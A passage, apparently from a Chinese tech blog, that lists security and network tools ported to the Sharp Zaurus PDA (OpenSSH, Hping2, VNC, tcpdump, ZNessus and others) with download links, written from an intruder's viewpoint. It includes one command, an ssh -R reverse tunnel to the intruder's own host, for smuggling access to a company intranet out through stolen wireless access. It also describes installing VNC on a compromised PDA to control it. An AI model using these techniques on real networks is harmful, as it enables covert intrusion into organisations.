OenpSSH:一个包含SSH服务器的免费版本。可从http://killefiz.de/zaurun/showdetail.php?app=1035处获得。入侵者可以通过OPenSSH客户端来创建一个从公司网络到其家中的秘密通道。如入侵者已获得公司的无线网络访问权,并在其PDA中运行:
  ssh -R 80:intranet.hostexmple.com:8000 intruder@intruders_ip
在入侵者运行该命令并输入密码和帐户后,就会在目标公司的网络和入侵者的服务器之间建立一个秘密通道,通过该SSH的通道,入侵者服务器端口8000上的任何连接,都将被重定向到受害公司内部主机的intranet.hostexmple.com的80端口上。之后,入侵者可以等回家后对intranet.hostexmple.com进行攻击,而Zauruns被入侵者隐藏到了一个不为人知的地方。
Hping2:一个用来发送任意的网络数据包的工具。入侵者可以来测试一个公司的防火墙的规则集,其手册页可在http://www.hping.org/manpage.html处获得。其Zaurus端口可在http://killefiz.de/zaurus/showdetail.php?app=902处获取。

VNC服务器:
一种使用户能访问另一台主机桌面的远程控制软件包。可从http://sdgsystems.com/download.html上得到。当入侵者在得到了PDA上的帐号后,就可以在受害PDA上安装VNC服务器以控制该设备。
Keypebble VNC Viewer:一种用于连接VNC服务器的终端软件。
Smbmount:一种允许用户加载Samba网络共享的工具。
Tcpdump:一个网络分析器,可在http://www.sklogicsoftware.com/znetmeter/tcpdump_zaurus.html下载。
Wget:一个通过HTTP、HTTPS、FTP协议下载文件的工具。
ZEthereal:Ethereal的Zaurus版。可在http://www.cartelinfo.fr/pbiondi/zaurus/zethereal.html处获得。ZNessus:Nessus的Zaurus版。可在http://znessus.souceforge.net/处获得。zNessus客户端要求Nessus服务器配置成支持非加密的通讯(该项默认为禁止的)。如果在Nessus服务器上禁用加密,则要确保阻止所有到Nessus端口的传入流量(默认式端口1241)。并使用OpenSSH客户端来连接到用户的Nessus服务器主机,以便安全的输导zNessus流量。
MTR:即Matt的TraceRoute,是一个把ping功能和traceroute程序结合成一个简单程序的工具。可从http://psifertex.com/zaurus/mtr_0.51_arm.ipk处下载。
Dig:一种可以用来询问DNS服务器的工具。以便获取MX记录和服务器版本之类的信息。可从http://killefiz.de/zaurus/showdetail.php?app=362处得到。
Perl:一种解释性语言,可从http://zaurus.frontgarden.net/perl.html处获得。

关于Zaurus的在线资源:
Zaurus软件索引:http://killefiz.de/zaurus
Zaurus DevNet论坛:http://www.zaurus.com/dev/board/
Zaurus地带:http://www.zauruszone.com/
Sharp开发者:http://www.zaurus.com/dev/
非官方Sharp Zaurus SL-5500FAQ: http://www.newbreedsoftware.com/zaurus-faq/
ZauruSoft软件数据库:http://www.zaurusoft.com/
OpenZaurus的可替代ROM:http://openzaurus.org/

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值